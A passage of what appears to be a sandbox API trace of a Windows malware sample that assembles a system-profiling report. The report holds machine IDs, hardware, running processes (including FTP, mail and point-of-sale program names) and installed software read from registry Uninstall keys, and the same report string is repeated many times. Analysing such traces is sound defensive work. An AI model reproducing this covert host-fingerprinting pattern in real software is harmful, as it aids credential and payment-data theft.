[2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]"
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\n"
[0054.967] RegCloseKey (hKey=0x514) returned 0x0
[0054.967] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2a, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-006E-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.967] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-006E-0409-0000-0000000FF1CE}") returned 90
[0054.967] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-006E-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.967] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Shared MUI (English) 2016", lpcbData=0x1816c0*=0x2b) returned 0x0
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Office Shared MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 